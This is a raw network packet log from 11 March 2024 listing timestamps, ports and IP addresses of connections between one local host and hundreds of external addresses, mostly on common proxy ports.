Mar 11, 2024 16:39:45.159802914 CET	44195	50299	162.19.7.56	192.168.2.10
Mar 11, 2024 16:39:45.160310030 CET	3128	50156	146.190.51.181	192.168.2.10
Mar 11, 2024 16:39:45.160471916 CET	50156	3128	192.168.2.10	146.190.51.181
Mar 11, 2024 16:39:45.160471916 CET	50156	3128	192.168.2.10	146.190.51.181
Mar 11, 2024 16:39:45.160518885 CET	12334	51016	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:45.160691977 CET	50313	31042	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:45.160693884 CET	50675	26087	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:45.160698891 CET	50317	8765	192.168.2.10	203.161.30.10
Mar 11, 2024 16:39:45.160700083 CET	50546	4153	192.168.2.10	45.226.0.2
Mar 11, 2024 16:39:45.160715103 CET	50320	59341	192.168.2.10	109.75.34.152
Mar 11, 2024 16:39:45.160717010 CET	50751	80	192.168.2.10	50.207.199.80
Mar 11, 2024 16:39:45.160717964 CET	50541	8089	192.168.2.10	223.247.47.231
Mar 11, 2024 16:39:45.160718918 CET	49796	8089	192.168.2.10	114.231.45.101
Mar 11, 2024 16:39:45.160717964 CET	50323	8080	192.168.2.10	46.209.207.153
Mar 11, 2024 16:39:45.160718918 CET	50321	8080	192.168.2.10	95.84.166.138
Mar 11, 2024 16:39:45.160752058 CET	50750	80	192.168.2.10	50.175.212.79
Mar 11, 2024 16:39:45.160778999 CET	12334	51018	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.160789967 CET	50649	80	192.168.2.10	50.173.140.150
Mar 11, 2024 16:39:45.160790920 CET	50325	80	192.168.2.10	203.243.63.16
Mar 11, 2024 16:39:45.160942078 CET	3128	49988	125.99.106.250	192.168.2.10
Mar 11, 2024 16:39:45.160953999 CET	12334	51016	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:45.161005020 CET	49988	3128	192.168.2.10	125.99.106.250
Mar 11, 2024 16:39:45.161071062 CET	51016	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:45.161086082 CET	12334	51018	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.161559105 CET	49988	3128	192.168.2.10	125.99.106.250
Mar 11, 2024 16:39:45.161642075 CET	51018	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.161720991 CET	51018	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.162055016 CET	51226	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.162065983 CET	51016	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:45.162559986 CET	51227	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:45.162926912 CET	80	51147	104.19.247.62	192.168.2.10
Mar 11, 2024 16:39:45.162997961 CET	51147	80	192.168.2.10	104.19.247.62
Mar 11, 2024 16:39:45.163310051 CET	51147	80	192.168.2.10	104.19.247.62
Mar 11, 2024 16:39:45.165024042 CET	4153	50319	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.165210962 CET	4153	50319	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.165232897 CET	4153	51075	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.165416002 CET	51075	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:45.165416002 CET	51075	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:45.165591955 CET	4145	50781	168.205.217.37	192.168.2.10
Mar 11, 2024 16:39:45.165668964 CET	4145	50781	168.205.217.37	192.168.2.10
Mar 11, 2024 16:39:45.165878057 CET	9002	50508	120.197.40.219	192.168.2.10
Mar 11, 2024 16:39:45.166052103 CET	9002	50508	120.197.40.219	192.168.2.10
Mar 11, 2024 16:39:45.166115999 CET	9002	50508	120.197.40.219	192.168.2.10
Mar 11, 2024 16:39:45.166173935 CET	80	50806	89.31.143.12	192.168.2.10
Mar 11, 2024 16:39:45.166198015 CET	51228	4145	192.168.2.10	168.205.217.37
Mar 11, 2024 16:39:45.166198015 CET	50508	9002	192.168.2.10	120.197.40.219
Mar 11, 2024 16:39:45.166290045 CET	80	50806	89.31.143.12	192.168.2.10
Mar 11, 2024 16:39:45.166395903 CET	80	50806	89.31.143.12	192.168.2.10
Mar 11, 2024 16:39:45.166399956 CET	50508	9002	192.168.2.10	120.197.40.219
Mar 11, 2024 16:39:45.166501045 CET	50806	80	192.168.2.10	89.31.143.12
Mar 11, 2024 16:39:45.167061090 CET	50806	80	192.168.2.10	89.31.143.12
Mar 11, 2024 16:39:45.167073011 CET	19599	50390	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:45.167828083 CET	26315	49815	72.10.160.171	192.168.2.10
Mar 11, 2024 16:39:45.169846058 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.169859886 CET	4145	49729	152.32.78.24	192.168.2.10
Mar 11, 2024 16:39:45.170136929 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:45.170250893 CET	4145	50268	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:45.170263052 CET	4145	50268	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:45.170619011 CET	51229	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:45.170798063 CET	80	51002	162.159.246.135	192.168.2.10
Mar 11, 2024 16:39:45.170810938 CET	80	50241	141.147.33.121	192.168.2.10
Mar 11, 2024 16:39:45.173403025 CET	51230	8080	192.168.2.10	95.47.119.122
Mar 11, 2024 16:39:45.173588991 CET	51231	36181	192.168.2.10	69.61.200.104
Mar 11, 2024 16:39:45.174051046 CET	8888	51033	66.45.246.194	192.168.2.10
Mar 11, 2024 16:39:45.174087048 CET	8888	51033	66.45.246.194	192.168.2.10
Mar 11, 2024 16:39:45.174190998 CET	8888	51033	66.45.246.194	192.168.2.10
Mar 11, 2024 16:39:45.174365997 CET	51232	48678	192.168.2.10	37.207.45.15
Mar 11, 2024 16:39:45.174515963 CET	51033	8888	192.168.2.10	66.45.246.194
Mar 11, 2024 16:39:45.174515963 CET	51033	8888	192.168.2.10	66.45.246.194
Mar 11, 2024 16:39:45.174676895 CET	51233	8080	192.168.2.10	194.247.173.17
Mar 11, 2024 16:39:45.175030947 CET	51235	9090	192.168.2.10	189.240.60.164
Mar 11, 2024 16:39:45.175128937 CET	3128	50377	220.194.189.144	192.168.2.10
Mar 11, 2024 16:39:45.175149918 CET	51234	64081	192.168.2.10	107.180.90.88
Mar 11, 2024 16:39:45.175581932 CET	51237	4300	192.168.2.10	92.205.61.38
Mar 11, 2024 16:39:45.175728083 CET	51236	55443	192.168.2.10	77.233.5.68
Mar 11, 2024 16:39:45.175894022 CET	8181	50236	43.132.184.228	192.168.2.10
Mar 11, 2024 16:39:45.175951004 CET	51238	80	192.168.2.10	172.64.152.98
Mar 11, 2024 16:39:45.176183939 CET	51239	30717	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.176251888 CET	51240	999	192.168.2.10	45.230.49.2
Mar 11, 2024 16:39:45.176297903 CET	50710	13087	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:45.176301003 CET	50623	3128	192.168.2.10	155.185.15.56
Mar 11, 2024 16:39:45.176302910 CET	50693	80	192.168.2.10	50.230.222.202
Mar 11, 2024 16:39:45.176323891 CET	50716	10677	192.168.2.10	72.10.160.173
Mar 11, 2024 16:39:45.176597118 CET	51242	29813	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.176599026 CET	51241	80	192.168.2.10	181.120.28.228
Mar 11, 2024 16:39:45.176770926 CET	55994	51112	38.127.179.16	192.168.2.10
Mar 11, 2024 16:39:45.176871061 CET	51243	9090	192.168.2.10	209.250.230.101
Mar 11, 2024 16:39:45.176925898 CET	3129	50050	20.219.177.85	192.168.2.10
Mar 11, 2024 16:39:45.176949024 CET	51244	54321	192.168.2.10	47.180.63.37
Mar 11, 2024 16:39:45.177381992 CET	51245	80	192.168.2.10	51.210.127.15
Mar 11, 2024 16:39:45.178396940 CET	80	50491	50.239.72.17	192.168.2.10
Mar 11, 2024 16:39:45.179009914 CET	8000	50805	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:45.179189920 CET	50805	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:45.179189920 CET	50805	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:45.179214001 CET	8080	50375	213.184.153.66	192.168.2.10
Mar 11, 2024 16:39:45.179528952 CET	50375	8080	192.168.2.10	213.184.153.66
Mar 11, 2024 16:39:45.179529905 CET	51246	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:45.179583073 CET	8080	50375	213.184.153.66	192.168.2.10
Mar 11, 2024 16:39:45.179685116 CET	50375	8080	192.168.2.10	213.184.153.66
Mar 11, 2024 16:39:45.180917978 CET	8000	50805	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:45.180953026 CET	51247	63212	192.168.2.10	148.72.215.79
Mar 11, 2024 16:39:45.182723999 CET	51248	999	192.168.2.10	45.186.106.159
Mar 11, 2024 16:39:45.183144093 CET	25491	50434	67.43.227.230	192.168.2.10
Mar 11, 2024 16:39:45.186681986 CET	51249	5432	192.168.2.10	31.204.28.96
Mar 11, 2024 16:39:45.187355995 CET	51250	80	192.168.2.10	37.235.48.19
Mar 11, 2024 16:39:45.187482119 CET	51251	25517	192.168.2.10	194.31.79.75
Mar 11, 2024 16:39:45.189721107 CET	31679	50983	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:45.189735889 CET	51252	8080	192.168.2.10	200.97.76.186
Mar 11, 2024 16:39:45.189738035 CET	31679	50983	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:45.189923048 CET	4145	50984	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:45.189937115 CET	4145	50984	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:45.190258026 CET	51254	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:45.190259933 CET	51253	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:45.190742016 CET	4145	50730	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.190754890 CET	4145	50730	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.190876961 CET	4145	51105	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.191117048 CET	51105	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:45.191117048 CET	51105	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:45.191446066 CET	51255	36627	192.168.2.10	185.6.10.248
Mar 11, 2024 16:39:45.191814899 CET	9090	50760	91.241.217.58	192.168.2.10
Mar 11, 2024 16:39:45.191924095 CET	50775	4145	192.168.2.10	74.119.147.209
Mar 11, 2024 16:39:45.191946030 CET	50742	11339	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:45.191948891 CET	49948	18067	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.191956043 CET	49926	5678	192.168.2.10	181.78.13.91
Mar 11, 2024 16:39:45.191956043 CET	49961	17145	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:45.191956043 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:45.191957951 CET	50794	80	192.168.2.10	50.207.199.87
Mar 11, 2024 16:39:45.191960096 CET	49949	26353	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:45.191979885 CET	50571	1080	192.168.2.10	140.250.150.56
Mar 11, 2024 16:39:45.191984892 CET	50595	8443	192.168.2.10	27.254.123.203
Mar 11, 2024 16:39:45.191984892 CET	49891	80	192.168.2.10	50.223.239.166
Mar 11, 2024 16:39:45.192002058 CET	50333	4145	192.168.2.10	202.124.46.97
Mar 11, 2024 16:39:45.192011118 CET	50344	8811	192.168.2.10	51.158.68.68
Mar 11, 2024 16:39:45.192012072 CET	50334	42771	192.168.2.10	162.240.239.103
Mar 11, 2024 16:39:45.192028999 CET	50356	8181	192.168.2.10	103.234.28.211
Mar 11, 2024 16:39:45.192032099 CET	50357	999	192.168.2.10	201.71.3.42
Mar 11, 2024 16:39:45.192059040 CET	50351	7890	192.168.2.10	116.5.187.116
Mar 11, 2024 16:39:45.192059040 CET	50360	80	192.168.2.10	203.57.51.53
Mar 11, 2024 16:39:45.192059994 CET	50345	999	192.168.2.10	190.90.22.106
Mar 11, 2024 16:39:45.192061901 CET	50354	8080	192.168.2.10	182.52.229.165
Mar 11, 2024 16:39:45.192061901 CET	50338	999	192.168.2.10	190.97.238.88
Mar 11, 2024 16:39:45.192064047 CET	50373	999	192.168.2.10	189.173.223.225
Mar 11, 2024 16:39:45.192064047 CET	50379	8080	192.168.2.10	103.176.96.132
Mar 11, 2024 16:39:45.192095041 CET	50386	37758	192.168.2.10	37.32.98.160
Mar 11, 2024 16:39:45.192361116 CET	10080	50053	81.19.3.249	192.168.2.10
Mar 11, 2024 16:39:45.192487955 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:45.192610025 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:45.193057060 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:45.193141937 CET	80	50870	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.193167925 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:45.193224907 CET	80	50870	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.193372965 CET	50870	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.193924904 CET	50870	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.194524050 CET	51257	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.194596052 CET	4145	51101	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:45.194720030 CET	51101	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:45.194736958 CET	9090	50760	91.241.217.58	192.168.2.10
Mar 11, 2024 16:39:45.194981098 CET	51101	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:45.195599079 CET	80	50839	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.195630074 CET	51258	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:45.195766926 CET	4153	50045	103.83.105.167	192.168.2.10
Mar 11, 2024 16:39:45.196423054 CET	5678	50069	223.25.98.82	192.168.2.10
Mar 11, 2024 16:39:45.198595047 CET	3128	50567	3.212.148.199	192.168.2.10
Mar 11, 2024 16:39:45.198813915 CET	18080	51080	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:45.198898077 CET	9039	49825	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:45.198940039 CET	51080	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:45.199019909 CET	80	50839	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.200086117 CET	50839	80	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:45.200088978 CET	51080	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:45.201982975 CET	13793	51046	103.117.109.1	192.168.2.10
Mar 11, 2024 16:39:45.203054905 CET	3335	50448	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.203596115 CET	51259	3128	192.168.2.10	79.110.52.252
Mar 11, 2024 16:39:45.204503059 CET	51260	61564	192.168.2.10	212.83.137.165
Mar 11, 2024 16:39:45.204524994 CET	51261	47370	192.168.2.10	70.126.33.226
Mar 11, 2024 16:39:45.205172062 CET	51262	3128	192.168.2.10	37.120.140.158
Mar 11, 2024 16:39:45.205459118 CET	51263	1080	192.168.2.10	103.105.79.69
Mar 11, 2024 16:39:45.206897020 CET	9401	50631	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:45.207535982 CET	3128	51089	13.37.59.99	192.168.2.10
Mar 11, 2024 16:39:45.207578897 CET	50365	8080	192.168.2.10	95.57.216.118
Mar 11, 2024 16:39:45.207592010 CET	50339	1981	192.168.2.10	41.65.236.37
Mar 11, 2024 16:39:45.207592010 CET	50368	60964	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:45.207600117 CET	50341	999	192.168.2.10	190.95.195.105
Mar 11, 2024 16:39:45.207600117 CET	50343	39789	192.168.2.10	209.142.64.219
Mar 11, 2024 16:39:45.207602024 CET	50332	5678	192.168.2.10	171.100.23.244
Mar 11, 2024 16:39:45.207602024 CET	50369	8080	192.168.2.10	154.73.29.161
Mar 11, 2024 16:39:45.207603931 CET	50370	9050	192.168.2.10	45.113.80.37
Mar 11, 2024 16:39:45.207617998 CET	50387	2080	192.168.2.10	152.136.151.195
Mar 11, 2024 16:39:45.207621098 CET	50348	999	192.168.2.10	179.60.219.63
Mar 11, 2024 16:39:45.207621098 CET	50359	80	192.168.2.10	115.42.45.1
Mar 11, 2024 16:39:45.207623005 CET	50592	3128	192.168.2.10	120.24.52.179
Mar 11, 2024 16:39:45.207623959 CET	50346	42571	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.207623959 CET	50342	34172	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:45.207628012 CET	50772	5369	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:45.207623959 CET	50389	22735	192.168.2.10	91.142.222.84
Mar 11, 2024 16:39:45.207626104 CET	50347	999	192.168.2.10	181.204.0.36
Mar 11, 2024 16:39:45.207627058 CET	50401	999	192.168.2.10	181.78.22.228
Mar 11, 2024 16:39:45.207623959 CET	50352	5678	192.168.2.10	201.144.20.231
Mar 11, 2024 16:39:45.207632065 CET	50408	3825	192.168.2.10	104.247.163.246
Mar 11, 2024 16:39:45.207632065 CET	50361	6522	192.168.2.10	45.117.179.179
Mar 11, 2024 16:39:45.207640886 CET	50404	4153	192.168.2.10	103.95.97.42
Mar 11, 2024 16:39:45.207654953 CET	50376	80	192.168.2.10	91.65.102.60
Mar 11, 2024 16:39:45.207660913 CET	50410	6821	192.168.2.10	198.12.255.193
Mar 11, 2024 16:39:45.207660913 CET	50411	8888	192.168.2.10	217.219.74.130
Mar 11, 2024 16:39:45.207662106 CET	50415	80	192.168.2.10	133.232.90.96
Mar 11, 2024 16:39:45.207660913 CET	50414	8080	192.168.2.10	193.34.95.110
Mar 11, 2024 16:39:45.207660913 CET	50385	999	192.168.2.10	190.114.245.122
Mar 11, 2024 16:39:45.207675934 CET	50391	5678	192.168.2.10	36.67.14.195
Mar 11, 2024 16:39:45.207675934 CET	50394	8080	192.168.2.10	216.74.255.182
Mar 11, 2024 16:39:45.207679987 CET	50396	46983	192.168.2.10	132.148.167.231
Mar 11, 2024 16:39:45.207684994 CET	50419	49685	192.168.2.10	195.154.243.38
Mar 11, 2024 16:39:45.207698107 CET	50350	8080	192.168.2.10	137.59.161.177
Mar 11, 2024 16:39:45.207705021 CET	50416	20435	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:45.207706928 CET	50395	62801	192.168.2.10	146.59.147.11
Mar 11, 2024 16:39:45.207706928 CET	50399	4145	192.168.2.10	110.77.232.172
Mar 11, 2024 16:39:45.207711935 CET	50755	23685	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.207729101 CET	49887	80	192.168.2.10	50.174.145.11
Mar 11, 2024 16:39:45.207741976 CET	51089	3128	192.168.2.10	13.37.59.99
Mar 11, 2024 16:39:45.207741976 CET	50362	4145	192.168.2.10	197.234.13.17
Mar 11, 2024 16:39:45.207756996 CET	50337	8089	192.168.2.10	117.70.49.27
Mar 11, 2024 16:39:45.207756996 CET	50412	8080	192.168.2.10	27.54.71.231
Mar 11, 2024 16:39:45.207758904 CET	50363	27102	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:45.207758904 CET	50405	5678	192.168.2.10	103.131.8.27
Mar 11, 2024 16:39:45.208071947 CET	50423	16379	192.168.2.10	51.158.77.220
Mar 11, 2024 16:39:45.208077908 CET	49932	80	192.168.2.10	50.168.163.166
Mar 11, 2024 16:39:45.208515882 CET	51089	3128	192.168.2.10	13.37.59.99
Mar 11, 2024 16:39:45.208532095 CET	29477	51129	67.43.236.21	192.168.2.10
Mar 11, 2024 16:39:45.210264921 CET	9050	51087	211.194.214.128	192.168.2.10
Mar 11, 2024 16:39:45.213198900 CET	8193	51091	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.213296890 CET	51091	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.213429928 CET	51091	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.214065075 CET	9002	50705	221.6.139.190	192.168.2.10
Mar 11, 2024 16:39:45.214909077 CET	1080	51133	165.227.112.138	192.168.2.10
Mar 11, 2024 16:39:45.214925051 CET	80	50483	3.127.62.252	192.168.2.10
Mar 11, 2024 16:39:45.216262102 CET	8193	50506	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.216460943 CET	43100	50239	142.4.7.20	192.168.2.10
Mar 11, 2024 16:39:45.218354940 CET	8193	50506	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.218389034 CET	50239	43100	192.168.2.10	142.4.7.20
Mar 11, 2024 16:39:45.220441103 CET	15864	50534	192.252.214.20	192.168.2.10
Mar 11, 2024 16:39:45.221247911 CET	33590	49736	85.120.30.66	192.168.2.10
Mar 11, 2024 16:39:45.223222971 CET	49712	44607	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:45.223222971 CET	50646	9125	192.168.2.10	178.253.201.11
Mar 11, 2024 16:39:45.223253012 CET	50428	5678	192.168.2.10	203.205.34.58
Mar 11, 2024 16:39:45.223254919 CET	50430	8080	192.168.2.10	8.218.100.120
Mar 11, 2024 16:39:45.223257065 CET	50431	999	192.168.2.10	45.174.248.19
Mar 11, 2024 16:39:45.223257065 CET	50807	4145	192.168.2.10	192.111.134.10
Mar 11, 2024 16:39:45.223257065 CET	50426	80	192.168.2.10	102.130.125.86
Mar 11, 2024 16:39:45.223264933 CET	50425	8080	192.168.2.10	190.104.20.82
Mar 11, 2024 16:39:45.223896980 CET	50441	3128	192.168.2.10	59.15.28.76
Mar 11, 2024 16:39:45.223896980 CET	50443	8080	192.168.2.10	186.233.25.83
Mar 11, 2024 16:39:45.223896980 CET	50444	999	192.168.2.10	201.77.108.64
Mar 11, 2024 16:39:45.224978924 CET	15673	51160	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.225277901 CET	51160	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.225352049 CET	50683	80	192.168.2.10	50.174.214.222
Mar 11, 2024 16:39:45.225359917 CET	49980	25639	192.168.2.10	67.43.227.226
Mar 11, 2024 16:39:45.225364923 CET	50417	80	192.168.2.10	154.118.228.212
Mar 11, 2024 16:39:45.225364923 CET	50418	29212	192.168.2.10	92.204.135.203
Mar 11, 2024 16:39:45.225377083 CET	50436	31476	192.168.2.10	170.244.64.12
Mar 11, 2024 16:39:45.225380898 CET	50429	5020	192.168.2.10	176.192.65.34
Mar 11, 2024 16:39:45.225380898 CET	50432	8082	192.168.2.10	80.72.68.247
Mar 11, 2024 16:39:45.225380898 CET	50439	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:45.225387096 CET	50437	64494	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:45.225399971 CET	50812	4145	192.168.2.10	142.54.232.6
Mar 11, 2024 16:39:45.226022005 CET	50239	43100	192.168.2.10	142.4.7.20
Mar 11, 2024 16:39:45.226084948 CET	51160	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.227935076 CET	666	51168	107.172.0.177	192.168.2.10
Mar 11, 2024 16:39:45.228634119 CET	8080	50055	103.77.50.168	192.168.2.10
Mar 11, 2024 16:39:45.228662014 CET	4145	51013	72.195.114.169	192.168.2.10
Mar 11, 2024 16:39:45.228725910 CET	50055	8080	192.168.2.10	103.77.50.168
Mar 11, 2024 16:39:45.228728056 CET	51168	666	192.168.2.10	107.172.0.177
Mar 11, 2024 16:39:45.228770971 CET	4145	51013	72.195.114.169	192.168.2.10
Mar 11, 2024 16:39:45.229007006 CET	51168	666	192.168.2.10	107.172.0.177
Mar 11, 2024 16:39:45.229008913 CET	50055	8080	192.168.2.10	103.77.50.168
Mar 11, 2024 16:39:45.229564905 CET	51264	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:45.229656935 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:45.230346918 CET	80	49832	50.172.218.160	192.168.2.10
Mar 11, 2024 16:39:45.235328913 CET	4145	51127	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:45.235498905 CET	51127	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:45.235590935 CET	51127	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:45.237773895 CET	3128	50265	13.40.239.130	192.168.2.10
Mar 11, 2024 16:39:45.238800049 CET	50438	80	192.168.2.10	140.83.32.175
Mar 11, 2024 16:39:45.238816977 CET	50770	80	192.168.2.10	50.168.163.180
Mar 11, 2024 16:39:45.238818884 CET	50445	53777	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.238816977 CET	50450	3128	192.168.2.10	193.239.86.248
Mar 11, 2024 16:39:45.238831043 CET	50447	8080	192.168.2.10	183.88.184.48
Mar 11, 2024 16:39:45.238881111 CET	50451	999	192.168.2.10	190.110.99.189
Mar 11, 2024 16:39:45.238884926 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:45.240608931 CET	10513	51139	66.29.128.243	192.168.2.10
Mar 11, 2024 16:39:45.240622997 CET	80	51099	104.16.224.33	192.168.2.10
Mar 11, 2024 16:39:45.240655899 CET	80	51099	104.16.224.33	192.168.2.10
Mar 11, 2024 16:39:45.241307020 CET	15291	51132	184.178.172.25	192.168.2.10
Mar 11, 2024 16:39:45.241405010 CET	51132	15291	192.168.2.10	184.178.172.25
Mar 11, 2024 16:39:45.241461992 CET	80	51099	104.16.224.33	192.168.2.10
Mar 11, 2024 16:39:45.241520882 CET	51099	80	192.168.2.10	104.16.224.33
Mar 11, 2024 16:39:45.241595984 CET	51099	80	192.168.2.10	104.16.224.33
Mar 11, 2024 16:39:45.242307901 CET	51132	15291	192.168.2.10	184.178.172.25
Mar 11, 2024 16:39:45.242676973 CET	80	49777	50.174.145.9	192.168.2.10
Mar 11, 2024 16:39:45.244149923 CET	8080	50382	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:45.244162083 CET	8080	50382	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:45.244214058 CET	8080	51085	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:45.244321108 CET	51085	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:45.244441032 CET	5432	50887	45.196.148.67	192.168.2.10
Mar 11, 2024 16:39:45.244448900 CET	51085	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:45.244806051 CET	16691	50500	92.204.136.149	192.168.2.10
Mar 11, 2024 16:39:45.244817972 CET	4145	51184	174.77.111.197	192.168.2.10
Mar 11, 2024 16:39:45.244868994 CET	51184	4145	192.168.2.10	174.77.111.197
Mar 11, 2024 16:39:45.246161938 CET	80	50948	103.197.71.7	192.168.2.10
Mar 11, 2024 16:39:45.249361992 CET	51265	80	192.168.2.10	91.151.90.9
Mar 11, 2024 16:39:45.249361992 CET	51266	62578	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:45.249789000 CET	5430	50852	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:45.249802113 CET	24815	50279	95.217.104.21	192.168.2.10
Mar 11, 2024 16:39:45.249821901 CET	51267	59098	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:45.249897957 CET	5430	50852	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:45.250838041 CET	51535	50591	162.241.66.135	192.168.2.10
Mar 11, 2024 16:39:45.250875950 CET	51268	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:45.251353025 CET	80	51065	154.208.10.126	192.168.2.10
Mar 11, 2024 16:39:45.252161980 CET	34560	50549	108.181.132.117	192.168.2.10
Mar 11, 2024 16:39:45.253388882 CET	80	51098	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:45.253485918 CET	51098	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:45.253587008 CET	51098	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:45.254414082 CET	50626	999	192.168.2.10	190.97.238.94
Mar 11, 2024 16:39:45.254431009 CET	50456	8080	192.168.2.10	186.103.130.91
Mar 11, 2024 16:39:45.254456997 CET	50469	6060	192.168.2.10	185.165.232.65
Mar 11, 2024 16:39:45.254456997 CET	49709	15082	192.168.2.10	45.77.111.135
Mar 11, 2024 16:39:45.254457951 CET	50474	999	192.168.2.10	45.224.20.68
Mar 11, 2024 16:39:45.254460096 CET	50458	80	192.168.2.10	82.97.215.240
Mar 11, 2024 16:39:45.254478931 CET	50479	57642	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:45.254479885 CET	50752	47354	192.168.2.10	67.213.212.49
Mar 11, 2024 16:39:45.254479885 CET	50573	4153	192.168.2.10	185.22.31.227
Mar 11, 2024 16:39:45.254479885 CET	50457	3128	192.168.2.10	15.207.196.77
Mar 11, 2024 16:39:45.254479885 CET	50718	8080	192.168.2.10	51.68.220.201
Mar 11, 2024 16:39:45.254479885 CET	50454	16379	192.168.2.10	51.158.105.107
Mar 11, 2024 16:39:45.254493952 CET	50480	63951	192.168.2.10	107.180.95.177
Mar 11, 2024 16:39:45.254498005 CET	50472	8080	192.168.2.10	112.78.164.248
Mar 11, 2024 16:39:45.254506111 CET	50463	59559	192.168.2.10	192.163.200.80
Mar 11, 2024 16:39:45.254508972 CET	50477	3128	192.168.2.10	86.107.178.103
